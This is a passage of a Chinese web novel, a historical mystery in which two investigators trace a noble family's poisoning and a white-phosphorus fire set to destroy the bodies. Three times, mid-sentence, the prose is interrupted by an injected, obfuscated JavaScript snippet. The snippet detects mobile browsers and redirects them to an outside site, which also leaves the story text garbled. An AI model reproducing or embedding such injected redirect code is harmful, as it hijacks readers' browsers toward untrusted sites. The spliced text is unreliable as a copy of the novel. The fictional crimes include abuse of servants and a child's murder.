“好,可以。”她用力说完三个字,彻底合上眼,“我很累了。” 李希言颇为同情地看了她一眼,站起身。 “你的婢女都在外面,有什么需要直接提,明日结果出来后我再来通知你。” 许清嘉一动不动,就像是没有听见一样。 李希言推开门走了出去。 天色已晚。 侯府即将沉入夜幕中,昏暗的环境让前路变得不太明确。 李希言接过婢女递来的灯笼,向前走了几步。 容朗站在院门外等着她。 “她怎么说?” “自然是同意了。”李希言走在前面,“许清嘉虽然娇纵,但是在大是大非面前不糊涂。” 抬起头,月亮的轮廓十分清晰,是弯月状,明亮的光线已经不需要灯笼。 “明日是个晴天。”容朗表情轻松,“是验尸的好天气。” 李希言看得出他眼下的疲倦。 “你今晚好好休息。” 容朗立即顺杆爬,揉着太阳穴:“我头晕得很。” “头晕?”李希言眼神一下含了关切,“是今日验尸没开窗户吗?” “我担心我养的花。” “王爷还爱养花?” “我不是很喜欢,但是有人很喜欢。” “有人喜欢?”李希言一脸正直,“陛下喜欢?” 觉得月色正美的容朗感觉被噎住了。 “这和我哥有什么关系?” 李希言莫名其妙看了他一眼:“不然呢?” “我……”容朗很是生气,“我种的花都是仙草,专治失忆。” 李希言没来由的地觉得有些尴尬。 见她不搭腔,容朗朝着她倾身,继续说道:“李少使要不要来点儿?” 李希言将手里的灯笼一转,抵在二人之间。 “我记性很好。” “那可不见得。” 灯笼落在地上,烛火瞬间舔食掉外罩。 二人齐齐被吓了一跳。 容朗急忙一脚将着火的灯笼踹入旁边的池塘里。 灯笼的火被水淹没,他这才松了口气。 “李少使。” “嗯?” “不管你记性好不好,等回到京城,我们就一起去看看那些花。” 阳光产生了炫光,看的人头晕眼花。 李希言低下头,擦了擦额头的汗。 夏日,总是这样炎热。 她快步跑回家中。 破败的木门被推开。 茅草屋灌入一股热气。 “死丫头!在急什么!”妇人气急败坏地把手中的粗瓷碗往桌上重重一放。 瓷碗中的水清亮透明。 李希言咽了咽口水,干燥的喉咙有些发疼。 “谢谢娘。” 她端起碗咕咚咕咚喝了几口,才勉强止住燥意。 “你看看你!”妇人眉毛倒竖,“喝那么快做什么!有人和你抢吗!” 心底传来一丝战栗,李希言立即放下了碗。 碗里水还剩了一半。 夫人蔑了一眼,薄薄的嘴皮扯成了一条细线。 “真是不听话!跑了一上午,就喝这么几口水,每次让你喝水就像是要了你的命似的!” 刚被抚平的喉咙又干燥了起来。 李希言紧紧捏着衣角,低着头不作声。 “怎么不说话了?平时不是话很多吗?一瞧见我们做爹娘的就这幅鹌鹑样子,不知道是跟谁学的!” 妇人的斥责让李希言头埋得更低。 她从怀里拿出一小串铜钱放在桌上。 “今天寺庙的饼钱,四十三文。” 妇人面色稍缓,拿起铜钱坐到床边数量又数。 “娘。” “家里没钱给你买零嘴。” “不是,我不爱吃零嘴。是……” “是什么?”妇人站起身,把清点好的钱放在床下的罐子里,“娘知道你懂事,肯定不是要钱的对吧?” 李希言将左手往袖子里收了收。 “是,我不是要钱。我……主持说今晚让我在寺庙住。” “住寺庙?要钱吗?” “不要的。主持说今晚要让我帮忙清理大炉子里的香灰,我想包点回来。” “好丫头!”妇人满脸慈爱,温柔地抚上她的小辫子,“你等等,娘去拿块红布给你。” 李希言懵懂无神的眼看着她在柜子里翻找的背影。 过了好一会儿,妇人才从箱子底拿出一块有些发黑的红布。 她将红布塞给李希言。 “拿去,多包些回来。那可是供奉送子观音娘娘的香炉。”妇人絮叨着,“有了这香灰,娘来年就能给你添个弟弟,招娣招娣,你说是不是……” 李希言双眼闪过一丝暗芒。 “娘,我先走了。” 她几乎是逃出了那个家门。 面前是一片青翠的山林,依稀能看见半山腰上的一座古寺。 红布还被攥在她的手里,被风吹得招摇。 她回头看了一眼正冒着炊烟的茅草屋,就上了山。 爬上去不算难,这条路她已经走过无数次。 太阳还未变弱,她已经站在了山门口。 守门的和尚很年轻,朝着她招了招手。 “怎么又过来了?是有什么事么?” 李希言将红布塞在袖子里。 “我找小和尚玩儿。” 年轻和尚含着笑:“弘孝在后面院子里呢。” “多谢小师傅。”李希言钻进寺庙,熟练地拐了几个弯,绕到了寺庙最偏僻处。 那里有一个独立的院子,暗处把手着重重人手。 李希言畅通无阻走进了院子。 院子里很是寒酸,和其他禅房没有两样,只是到底深藏青嶂寺中,比山下还是凉爽不少。 焦躁的情绪一下被安抚了下来。 大开的窗户,一个圆溜溜的脑袋动了动,转了过来。 “音姐姐?”蜡黄的小脸表情木木的,浅色的瞳孔满是惊喜,亮晶晶的,“你不是回家去了吗?” “我……”李希言攥着红布,不知该如何回答。 房门骤然被推开,小和尚跑了出来,撞进她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419594|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怀里。 “音姐姐!” 圆溜溜的脑袋摸起来滑滑的凉凉的。 李希言的手摸了又摸。 “我今晚住这边陪你好不好?” 正在她怀里蹭着的小和尚一下抬起了头,木木的表情扯动了一下。 “好。” 他拉着李希言往里走,走到屋内桌前拿起桌上的点心喂给她:“甜的,你喜欢。” 满口的甜香冲去了酸涩的味道。 李希言咧开嘴一笑:“好吃。” 小和尚端起点心盘子,拉着她坐到窗前。 云水蓝的窗帘被吹得飞舞。 带着凉意的山风扑面而来。 书桌上的纸笔被放到一边,取而代之的一盘白白的点心。 “这点心是哪里来的?”李希言拍了拍肚子。 小和尚张了张嘴,摇摇头。 见他不想回答,李希言转移了话题。 “你自己吃过了吗?” “我,不爱吃甜的。”小和尚靠在她的肩膀上,“音姐姐今日怎么又回来了?” “我……”李希言咬了咬嘴唇,咽下委屈,“我只是想和你玩。” 小和尚抿着嘴唇笑:“我也喜欢和音姐姐一起玩。” 他去拉对方的手。 “嘶!” 手背上的水泡亮亮的。 小和尚又板起了脸。 他没有多说什么,只默默在书桌旁的柜子里摸出一罐药膏。 白色的罐子被打开,他挑起一小坨绿色的药膏一点点敷到水泡上。 书桌角落处摆着一对泥人,一个笑哈哈的,一个一脸严肃。 李希言看着自己的手。 清凉的药膏驱走了手上火辣辣的疼痛。 “等中秋到了,我们一起去庙会吧?” “好。” “到时候,我们先去涂叔那儿买两个糖人儿,我要买个兔子的,给你买个大青牛。” “我更喜欢兔子。” “那我们就买两只兔子,然后再去旁边买糖葫芦,买完糖葫芦再去买两个花灯。我喜欢兔子灯,你呢……” 日夜交替,梦境扭曲。 面前绿茵茵的一片忽然消失。 一团火猛的出现,最开始是一个,然后是两个……接着就是一片。 山脚的村庄在一夜之间化作了灰烬,只剩下了黑色的残渣。 李希言已经控制不了自己的身体,她任凭“她”冲了进去。 骤然变重的呼吸声一停。 李希言一下坐了起来。 胸口像是被抽干了一样,她只能大口大口吸着气。 过往的梦魇撕开了她一直套着的面具。 慌乱、不安、惶恐终究冲垮了名为“克制”的堤坝。 她撕开了左腿的裤子,仓皇地检查着自己满是灼烧感的大腿。 大腿上,有一块手掌大小的褐色疤痕,颜色不深,却很显眼,像是一块忽然老化的皮肤,一按下去就会破裂开来。 就在手指触碰到伤痕的那一刻,微微的刺痛让理智回笼。 快速跳动的心一下回到了正常的频率。 “是梦。” 李希言垂下双手,躺了回去。 怎么会梦到这些? 她用力闭上双眼。 “起火了!” “起火了!” 耳边又响起了呼叫声。 还没睡着呢?又做梦? 眼前的一片黑暗被照亮了些许。 不对! 她翻身坐起,面对着窗户。 窗外,是隐隐的火光。 真的……起火了? 89. 欲盖弥彰 天色还蒙蒙亮着。 存放死者的灵堂已经被烧的满目疮痍,只剩下几根黑漆漆的柱子。 管事跪在门口,表情呆滞。 绣衣使们轻手轻脚,抬出了几具尸体。 尸体虽然被白布盖着,但是李希言已经猜到了尸体此时的状况。 她侧开了眼。 “尸体呢!”容朗连衣襟都是乱的,疾步小跑着进来。 李希言指了指旁边的担架。 “都在这儿。” 容朗来不及戴什么面巾手套,直接蹲在尸体旁边拉开白布查看。 尸体很是异常,已经不是寻常的焦尸,更像是灰烬堆积出的躯体,一碰就会化成灰。 容朗屏住呼吸,尽量放轻了动作。 李希言没有多看,走到灵堂大门前站定。 交州和其他地方不同,即使是冬季也没有那么干燥,这场火,一定是人为。 “苗青。” “属下在。” “灵堂可有点上烛火?” “没有。为了防止失火,灵堂里是半根蜡烛都没有放,昨晚天黑后,我们就锁住了院门。” “巡逻的人呢?” 苗青悄悄踢了一脚身旁已经失神的管事。 管事抖了一下,迷茫地看着他。 苗青重复道:“昨晚是谁在巡逻?” 管事颤巍巍站起身,回忆了一会儿才说道:“鄙人这就去把人叫来。” 整个灵堂里的东西本来就少,被一把火一烧就更是只剩下灰烬。 李希言却不这样认为。 她走入灵堂,蹲在地上捻起一撮灰,搓了搓,放在鼻下嗅了嗅。 一股大蒜味还有火药味。 是白磷。 心里有个不太好的预感,她向前几步又随手捻起一撮灰,闻了闻,还是同样的味道。 白磷太多了。 她立即走了出去。 整座灵堂外还有一圈黑灰。 凶手应该是借这些白磷和易燃物点燃了窗户纸。 可是他是怎么做到的…… 附近一个脚印都没有。 一团乱麻! 李希言深呼吸了几次,转身朝着还在验尸的容朗走去。 “情况怎么样?” 容朗木愣愣站在尸体前,一听见她的声音,他立即把白布盖上。 他的脸色很难看,缓缓摇了摇头。 “火势虽大,可是柱子都没有断掉,这些尸体却被……”他顿了顿才说道,“被烧透了。” 或许是昨夜的梦境,李希言一时失去了伸手的勇气:“放火的人用了白磷,那东西一旦沾上皮肉就会持续燃烧,烧透皮肉烧毁骨骼,至死不休。” “那……现在的证据是完全被销毁了?” 死者在死前只在寿宴上吃过食物,寿宴撤下来的酒菜中都没有任何毒…… 至于他们之后吃过什么,只能剖验,可是现在却…… 手上莫名传来一股痒意。 李希言低头看过去,她的右手的食指和大拇指变得又红又肿。 “怎么了这是。”容朗捧起她的手,“这是碰了什么脏东西?” “没有……我刚刚就碰了那些……” 手指残存淡淡的黑灰。 “灰?”容朗语气焦急,对着旁边的人吩咐道,“快打水来。” 李希言这才觉得二人的动作不太妥当,想要抽回自己的手,却被对方一把抓住。 “疼吗?” “不疼。” “李少使。”容朗难得对她语气重,“这是碰了什么药物导致的,既然已经红肿,肯定会痒,会疼。你说清楚,到底是哪种疼。” “火烧火燎的疼。” “灼热感?”容朗低下头吹了吹,“应该是那里面有什么东西。” “王爷。”一个婢女端着一盆水走了过来。 容朗点点头,把李希言的手放在水里。 “幸好不严重,拿水洗一洗就会好。”他一边说着一边接过婢女递来的帕子。 “好多了。”李希言将手拿出来,下意识甩了甩手。 容朗拿帕子把她的手擦干。 “现在尸体也验不成了,你还有什么办法吗?” 越是绝境,越要冷静。 李希言此时只觉得脑子前所未有的清明。 放火的人十有八九就是凶手,凶手为何要冒着暴露的危险放火? 是为了毁灭证据,这说明他们要剖验的做法是对的。 也就是说,只要知道了死者所中的毒就能推测出凶手的身份。 凶手和死者入口之物有着紧密且直接的关系。 寿宴…… 麻姑献寿…… 酒,桃子…… 那个酒!只有侯府的主人喝过! 端酒的人……是…… “麻姑——贾秀!” “什么贾秀?”容朗一时根本没想起扮演麻姑之人的名字。 李希言将自己的推测一一道来。 “是啊,当时麻姑献上的酒只有许家人喝过!凶手是他没跑了!” “别急。”李希言眸光闪烁,“苗青,把两个戏班的人都叫来。” 两个戏班的人数不少,加起来大概四五十个,院子一下被站得满满的。 曲见山领着自己的人站在左侧,鸿福班的班主则带着人站在右侧,贾秀作为支撑鸿福班的台柱子就站在班主身侧。 李希言扫了一眼所有人的神色。 两位班主都是老成之人,都低着头不说话,表情看不出丝毫情绪。 他们很清楚今日为何被叫来。对于这种涉及到大人物的事情他们只能选择沉默。 至于其他人,就没有这样的“忍功”了。 她认识的小钉子不安地缩在师兄跟前,一脸不安,而他的师兄也一直在打量着周遭的一切。 贾秀表情更是不安,原本红润的面色此时苍白至极。 他们已经在此等了许久。 可是李希言就这样负手站在那里,什么也不说。 直到苗青拿着一个银制酒壶走了进来。 酒壶做工极其精巧,上面镶嵌着各色宝石。 “贾秀。”李希言忽然问道,“这个酒壶可是你在寿宴上唱麻姑献寿所用?” 被突然点了名字,贾秀反应了好一会儿才走上前,看了好几眼酒壶点了点头。 “应该是的。酒壶是侯府里准备的东西,我也记不太清,但是看上去,应该是。” 李希言被他的说辞弄得有些想要发笑。 她直接拿起酒壶揭开盖子递给了容朗:“有股药味。” 贾秀急忙解释道:“那是普通的药酒,自然有些药味的!” “过寿喝药酒?” 贾秀垂下眼:“是侯府的人常喝的药酒,对身体很好。” “淫羊藿?”容朗扬了扬手里的酒壶。 贾秀扯了扯嘴角:“淫羊藿强筋健骨祛风除湿,被用来泡酒不奇怪。” 容朗不想和他绕弯子。 “一大股羊膻味,分量太多,你额外加了不少。为什么?” 贾秀表情很是僵硬,却还是硬生生扯出一个笑:“王爷……王爷这是什么话,我加药做什么……” “本王也很奇怪。”容朗笑了笑,“过量的淫羊藿也只会让人上火吧?” 贾秀急忙点头:“是啊,这东西本就……” 还未等他说完,容朗就接着说道:“除非,长期服用。” 李希言问道:“长期服用会如何?” “中毒。” 容朗的话音刚落,贾秀就急不可待地反驳道:“不可能!这东西没有毒的!不会死人!” “侯府的药酒,你倒是熟悉。”李希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429318|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言语带深意。 “那是因为……”贾秀此刻的慌乱已经让所有人侧目,每个人都看在打量着他,带着自己的心思,而他也想出了说词,“那是因为我也有风湿的毛病还喝过这些酒,所以才对此药有所了解。” “那你慌什么?”李希言看着他的表情,心里没来由的地有些难受。 那个猜想让她觉得过于残忍。 她转过身:“你和我过来。” 贾秀被李希言和容朗带到了一个房间里。 这个房间本来是堆放杂物的地方,空气中都飘着灰。 阳光从被关闭的窗户外照射进来,却像是黄昏的阳光一样黯淡。 贾秀站在门前,看着对面的二人,心跳如鼓。 “你应该对本官说实话。”李希言的语气带着几分语重心长。 贾秀苦笑了一声。 “本来是准备负隅顽抗的,只是第一次有人给我一个下贱人留面子,我还是想要捡起这张脸。” 他本就生得十分俊俏,玉面朱唇,可此时看上去却无端端带着几分残败胭脂的凄艳。 “我没有想要他们的性命,我只是想让那两个畜牲……让他们……” 他修长的手忽然成爪,如同一只忍耐已久的野兽,想要撕碎什么。 李希言暗暗叹了一口气。 “让他们不能再欺辱你的妻子?” 积压已久的怒气瞬间散掉,贾秀不可置信地瞪大了眼:“您怎么知道?” “你如此珍爱你的妻子,是绝对不会在她怀孕时与她有过激的房事。那日,明明你在院中,你的妻子却……她又本是侯府的婢女,还有珍贵的赏赐,这很难不让人去联想什么。” “李少使倒不像那些人不知世故,也不像那些畜牲那样无耻……”贾秀捂住了脸,“我对紫葳其实没有太多的感情,只是……我们都是苦命的人。” 贾秀是唱戏的戏子,却也深受许家长子和幼子的“欺凌”。 而紫葳……亦是如此。 她原本是许家幼子许佑的婢女,几年前为了给许佑即将成亲,为了给自己这个孙子经营“不好色”的名声,老夫人就给她们这些婢女都赏赐了东西,让她们自己找个人嫁出去。 然而,许尚安和许佑却不放过,为了继续掌控紫葳,他们暗示贾秀迎娶紫葳。 二人成亲后,许尚安和许佑亦如同往常时时玩弄紫葳,甚至还……依旧不放过贾秀。 痛苦和屈辱令人麻木。 贾秀和紫葳相互扶持着在缝隙中偷得生机。 可是,就在几个月前,紫葳怀孕了。 从小没有父母的他们,第一次对彼此有了一种微妙的感觉。 不是恋人,而是家人。 然而,紫葳的怀孕不仅没有让许家的两个畜牲放弃,反而引来了他们的更大兴趣。 贾秀,忍不了了。 “我忍了一辈子,我不想再忍了。我从小唱戏,学这唱戏的功夫受了不少伤,我清楚的知道淫羊藿这种药,少服治病,多服会起反作用。于是,我就在他们日常喝的药酒里加了过量的淫羊藿。” “寿宴的酒……” “我也不知道……”贾秀迷惘地摇着头,“我确实因为前几日紫葳的身体而下了重手,可是,这药怎么都不会死人啊!我只想让他们不能再……不能再做那些事。” 李希言抓到了重点:“也就是说,你平日里只在许尚安和许佑二人的药酒里下了药?” “是,整个侯府只有他们才会喝壮阳的药酒……”贾秀恍然大悟,“对啊!老夫人他们也死了,她们平时可不喝药酒!” 找到了证据,他欣喜若狂:“我是冤枉的!” “本官知道你是冤枉的。”李希言目光向外投去,“你不仅是被冤枉了,还被人利用了。” “谁?” “我问你,那日和你在台上表演的人到底是谁?” 90. 飞来横祸 这里是戏班存放道具的地方。 按理说,是不允许他人进入的,因为这戏法呀,说到底就是靠的表演者的手法和道具。 那可是别人吃饭的家伙事儿。 只是这一点,对于绣衣司来说并不重要。 苗青将手一扬。 “把箱子都撬开。” 众人的动作还算斯文,只是一刀斩开了锁着箱子的锁。 箱子里的道具令人眼花缭乱。 假花,假桃子,扇子,假蝴蝶,走马灯,墨汁,砚台,甚至还有一堆各色的纸张,连着一整箱子瓶瓶罐罐。 苗青指着头几箱物件:“抬走。” “是。” 而此刻,灵堂前,贾秀已经恢复了往常淡定闲适的模样,站在原来的位置,眼观鼻鼻观心。 李希言和容朗则还在已经被烧焦的正厅里徘徊。 灰烬被手指隔着帕子碾开,容朗用力分辨着其中的气味。 “怎么闻着有一股咸咸的气味。” “不急。”李希言朝着外面招招手,提高了声音,“小钉子,你过来一下。” 被叫到名字的小钉子满脸畏惧,一时呆住,一直到自己师兄推了推自己,才回过神。 “快进去,大人叫你呢。” 小钉子懵懵地走了进去。 “大人……” “你们戏班,飞蝴蝶这种戏法有谁会?” “应该只有师父会,我们只懂得制作道具和打杂。” 李希言看了一眼站在外头胖墩墩的曲见山,挑了挑眉。 “你师兄都不会吗?” “不会的,师父他……”小钉子飞快瞟了一眼外面的曲见山,声音更小了,“师父他很不喜欢我们看他……变戏法。” 这话说得隐晦,但是二人还是明白,就是藏私,怕教会徒弟饿死师父。 这种事情不算少见。 “那你知道为什么那些纸蝴蝶能飞起来吗?” 小钉子摇摇头:“我只会做桃子和花儿。纸蝴蝶……我们负责剪,剪完后师父好像会往上面涂些什么。” 李希言接着问道:“寿宴那日表演戏法是你师父藏在那棵树里面吗?” “是啊。只有师父能变那么多戏法。” 李希言表情有些微妙。 “你先回去吧。” 小钉子点点头,飞快跑了回去。 过了片刻,苗青就带着几口箱子走了过来。 “少使,东西都搜到了。” 自己的重要物件怎么会不认得,饶是曲见山这样的老江湖也一下失了态。 “李少使!您这是何意?” 这些可都是他的命根子啊! 他急得直接跑到了面前来。 容朗直接问道:“你那纸蝴蝶上涂的是……阳石?” 他说最后三个字的声音极小,只有三人能够听到。 “你怎么知道!”曲见山一下慌乱了起来。 这可是他的秘方! “这东西触碰后会让人的手变红变肿。而且它还有个作用……那就是服用后温补肾阳,只是……” 容朗盯着他的眼睛:“若是服用过多会导致中毒身亡!” “不会!”曲见山连连摆手,“寿宴上只有那一点儿的量,融入酒里不会中毒的!” “我们知道。”李希言说道,只是你倒是颇通药理。” 曲见山老实回答:“做我们这行的,经常要用到这些药物来……做些小机关,所以鄙人对药理确实还了解一二。更何况……”他讨好一笑,“要是不知道那些东西能不能入口,鄙人怎么敢玩那样的把戏呢?” “把戏?”李希言微微向前倾身,“我有个问题要请教曲班主。” 莫大的压迫感让曲见山向后推了推。 他手在胸前虚虚挡着:“您请说。” “若是在纸蝴蝶上涂上白磷和火药,这纸蝴蝶飞起来后会烧起来吗?” 这个问题过于容易让还身处火场的人浮想联翩。 曲见山怔住了。 李希言继续说道:“再如果,这样的纸蝴蝶……”她抬起手指向旁边被烧得只剩下窗框的窗户以及那一圈黑灰,“飞到了关闭的窗户上,会不会点燃窗户纸导致失火?” “会……”曲见山不由说出了自己心里的想法。 容朗此时也跟上了她的思维:“大量的淫羊藿加上阳石,确实有可能导致中毒。” “我没有!”曲见山急忙否认,“我没有下毒,什么淫羊藿我根本都不知道!” “贾秀唱戏用的酒壶也是你们戏班的道具。”李希言逼近一步,“那日藏在树中变戏法的人是你?制作纸蝴蝶道具的也是你?” “不……不!我没有下毒!也没有用涂了白磷的纸蝴蝶引发大火去毁尸灭迹!” 李希言提高了音量:“难道现场除了你还有第二个能变这些戏法的人吗?” “我没有理由要杀侯爷一家啊!”曲见山跪在地上求饶,“李少使,我是靠着侯爷吃……” “是你!”一道女声携带着怒气而来。 许清嘉怒气腾腾朝着曲见山冲了过来。 “你就是为了报复!” 李希言一跨步挡在了二人中间。 “许娘子,本官在审理案情,请你回避。” “我都听到了!”许清嘉的目光绕过她直直盯着曲见山,“是他下药毒死了父亲他们,后来还为了毁尸灭迹焚尸!” 刚刚还一脸惶恐的曲见山忽然抬起了头,冷冷地看着情绪激动的许清嘉。 李希言被夹在中间,只能伸手扯住许清嘉。 “本官尚未审完,他并无动机,还没到下结论的时候。” 许清嘉被扯住没法乱动,只能大声喊道:“他有!他是为了报仇!” 这已经是她今日第二次提起这个词了。 这绝非是信口而言。 “报什么仇?” “他女儿!”许清嘉恨恨地说道,“明明当时已经拿了我家的钱……” 曲见山的眸子一点点红了起来,肥胖的身子颤了颤。 “我杀了你……” 他一下朝着许清嘉扑了过去。 那比水缸还粗的身体一下压倒了许清嘉。 等李希言回过神时,他已经死死掐住了许清嘉的脖子。 而许清嘉憋地满脸紫红,使劲扳着他的手。 “啊……” “对,是我,是我杀了你们,杀了你们所有人。” 李希言立即上前一个手刀劈晕了已经失疯狂的曲见山。 “师父!” 曲见山歪歪扭扭倒下,他的大徒弟一下就扑了过来,接住他的身躯。 青年的个头不大,没法扶起他,只能跪坐在地上,抱着他的身体。 而许清嘉也被婢女扶了起来。 她不住地咳嗽着,明显是被伤得不轻。 “放……放肆……”她艰难地控诉着曲见山,指着已经倒下的曲见山痛骂,“下等的戏子还敢杀人……” 她缓了一口气,用命令的口气对着李希言下令:“还不快把他抓起来杀掉!” 一旁的众人都露出了厌恶的神情。 果然一家子都不是好东西。 李希言被她的愚蠢逗得笑出来。 “上次这样对本官这样说话的人是陛下。” 许清嘉一愣。 “李少使是正经的朝廷命官,你不过是个白身。”容朗也冷着脸。 有这样一门亲戚,委实丢人。 许清嘉一时气急,又咳嗽了起来。 气氛陷入僵持。 “李少使。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440408|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”抱着曲见山的青年怯怯地说道,“那件事情我或许知道。” “那你来说。” “是。”青年擦了擦泪,简短说道,“七年前,师父唯一的女儿被许家人害死了,师父只是个变戏法的,也没有办法为师妹讨回公道,只能咽下这口气。” 其余的人明显都知道此事,皆面露不忍之色。 青年一脸恳切,粗糙红肿的手拽着李希言的衣角:“李少使,师父他……他如果真是为了这事情做了错事也不该死吧?明明是他们先……” “闭嘴!”许清嘉声音变得尖利,苍白的脸色透出一股刻薄,“一条贱命罢了!换了我侯府的银子还想着报复,真是……” 李希言实在听不下去,一眼瞪了过去。 “把人带走。” 旁边几个绣衣使上前围住许清嘉主仆二人。 这是无声的威胁。 可是许清嘉早已没了理智,不仅不收敛,反而骂得更难听。 “你们算什么东西!竟然敢威胁我!这些下贱之人以下犯上……” “没有谁比你许家更下贱的了。”李希言锋利的眉眼带着冷笑,“门口的石狮子都是脏的。” 容朗听得也烦躁:“把人拖下去。” 绣衣使自然也不可能知道去拖人,只齐刷刷亮出了刀。 许清嘉一直认为许家与容朗算是亲戚,颇有些自持之意。 可是没想到看上去温和亲切的他会翻脸这样快。 突如其来的清醒让她猛然发觉,此时她已经没有了倚仗,只有…… 然而还不等她继续想下去,一旁的绣衣使就已经干脆利落地动了手,劈晕了她。 婢女倒是个有眼色的,深知此时侯府的处境,什么也没有多说就背着许清嘉走了,乖觉得很。 李希言这才对着青年问道:“你叫什么名字?” “锯子……”青年挠了挠头,“师父家里原来是做木匠的,所以给我们徒弟取的都是这种名儿。” 李希言有些叫不出口。 “你可知道当年你师父的女儿被害一事的详情?” “知道的。”锯子眼圈有些发红,“师妹那时才十二三岁,可爱天真,戏班上下的人都很喜欢她。七年前,也是老夫人过寿宴,我们来侯府表演戏法。结果当晚小师妹就失踪了,师父心急如焚,我们找了两天两夜,终于在后花园的假山后面找到了师妹的尸体。师妹的尸体很……很惨。我们一看就知道是许家老大和老三干的,可是我们没有办法……后来,许老夫人出面给了些银钱,师父为了整个戏班的人只能忍下。” 戏班几个老人也不禁垂泪道:“李少使。老曲是见钱眼开了些。可是当时的情况……公道是讨不着的。那老夫人暗含威胁,我们敢多说一个字,整个戏班的人都得死。” “是啊!老曲也是为了大家。” 锯子瘦弱的身躯搬着曲见山用力向前了一点,磕了个头。 “李少使!这件事情就算是师父做的,他也只是为了给师妹报仇,请您看在他一片爱女之心的份上,留他一条性命。” 就连一旁唱戏的鸿福班的人也忍不住跟着求情。 “这样的事情很多?”李希言问道。 不然,那时曲见山等人不会一见尸体惨状就直接推断出死者是被许尚安和许佑害死。 锯子率先点点头,眼里满是愤恨:“多得说不完!” 李希言弯腰拍了拍青年的肩膀:“你先带你师父去安置好,等他醒来的时候再说。” “多谢李少使。” 李希言直起身继续吩咐:“苗青,让人在外面放张桌子,你带着卫校尉和关校尉去外面坐着。” “少使,这是要?” “附耳过来。”李希言给苗青嘀咕了几句。 苗青眼睛一亮:“是,属下遵命。” 91. 故布迷障 将近年关,交州城人流如潮,街道两边都挂红着绿喜庆极了。 卖早点的摊贩舀起一勺白嫩嫩的豆腐脑,又快手快脚添上两勺桂花蜜,撒上几颗枸杞。 “豆腐脑来喽!” 雪白的豆腐脑衬着金黄的桂花蜜,还有艳红的枸杞点缀,让人看一眼都觉得甜蜜。 “三文钱。” 正摸钱的客人动作一顿:“不是五文钱吗?” “这不高兴嘛!”老板挥手,“这恶人下了地狱,谁不高兴,大家吃好喝好!等到腊月二十四,我给大伙儿免费送糖瓜祭灶!” “这话说得好!”那客人也是掩不住的喜色,“那家子畜牲总算是死了!” “诶诶!”另外一个客人小声说道,“你们说会不会是绣衣司的人……” “不太可能,这平南侯可是陛下的表舅舅……” “管那么多干嘛?”另外一个已经吃完的客人潇洒地甩了甩袖子,“死了就好!” 咚咚铛! 敲锣打鼓的声音突兀地响起。 正讨论着的百姓一下被吸引了注意。 只见一队身着黑衣的绣衣使拿着铜锣,正喊着:“少使有令!平南侯罪行累累,擢发莫数。凡有冤者皆可于侯府正门直诉,不需状纸。” 买豆腐脑的老板拊掌:“还真是绣衣司……唔!” 一个客人眼疾手快捂住了他的嘴:“祖宗,别乱说话!” “嘿!”刚刚正欲离开的客人挑了挑眉,“去吗?” “去!” 坐在门口的卫川笔走如飞。 一旁的关风和一边和告状的百姓交流着一边整理着百姓所告的罪状。 “泰平五年四月,侵吞交州陈家庄三十亩田地,指使手下打死陈家庄十三名青年。” “是是是……是这个意思。”牙齿已经快要掉完的老婆婆抹了抹眼泪,声音含糊不清,“还有其他人都受了伤,陈家人被逼得搬走了,只剩下我因为嫁到了城里才免了一难。” 关风和劝慰道:“等罪行清算后,会归还田地,您老人家若是还和他们有联系可先去信一封,让他们早日回乡。” 老婆婆点点头:“好好!我这就找人去写信。” 木桌前人头攒动,队伍排了很长很长,几乎要看不到头。 “真是畜生。”卫川转了转酸痛的手腕,“到时候这些东西得拿箱子装着送到京城里去!” 不过一个时辰,他的手边已经有一厚摞罪状。 “光这一堆,至少就是近百条人命。” “难怪少使说要把尸体也给运回去。” 这样死都便宜了这家人! “那个……两位大人?”一个中年男子试探道,“那种道听途说的能行吗?” 二人立即停止了讨论,关风和正襟危坐:“先说来听听。” “鄙人原来在城里广和楼做掌柜。酒楼里嘛,常有来卖唱的小娘子。大概是八九年前吧,一个叫做梨娘子的小娘子给一桌客人唱了一曲后就被一个客人带走了。一过两三个月,那小娘子也没再回来过。鄙人就去找那位客人打听了一下,那客人只说事关侯府让鄙人闭嘴。” “那客人是谁?你可记得?” “就是如今都护府刘司马的次子。” “可还有其他?” “鄙人还记得之前给酒楼做柜台的那家子木匠似乎也是全家被害死了,但是具体情况不太清楚。” “那家木匠叫什么?” “姓乔,叫乔林,家住城西,开了个店面,一家人是十年前刚过完年出的事……” …… 天色将晚,今日来排队的人都不想离去。 关风和站起来说道:“各位!明日还有时间,你们不必着急,先回家去吧,等会儿就要宵禁了。” 想到宵禁,众人才依依不舍地散去。 二人坐了一天,腰酸腿疼。 卫川立即站起来蹦跶了几下。 “啊!好累!” 关风和锤了捶自己的老腰:“明日还有一天呢。” 